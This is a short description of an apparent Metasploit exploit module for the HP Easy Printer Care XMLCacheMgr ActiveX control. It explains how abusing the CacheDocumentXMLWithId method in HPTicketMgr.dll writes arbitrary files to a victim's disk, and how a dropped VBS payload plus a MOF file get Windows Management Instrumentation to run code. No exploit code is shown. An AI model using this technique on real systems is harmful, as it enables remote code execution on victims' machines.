HP Easy Printer Care XMLCacheMgr ActiveX Control Remote Code Execution module allows remote attackers to place arbitrary files on a user's file system. Code execution can be achieved by first uploading the payload to the remote machine embedding a vbs file and then upload another mof file, which enables Windows Management Instrumentation service to execute the vbs

'Description' => %q{  
This module allows remote attackers to place arbitrary files on a users file  
system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"  
class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll  
2.7.2.0).  
  
Code execution can be achieved by first uploading the payload to the remote  
machine embeddeding a vbs file, and then upload another mof file, which enables  
Windows Management Instrumentation service to execute the vbs. Please note that  
this module currently only works for Windows before Vista.
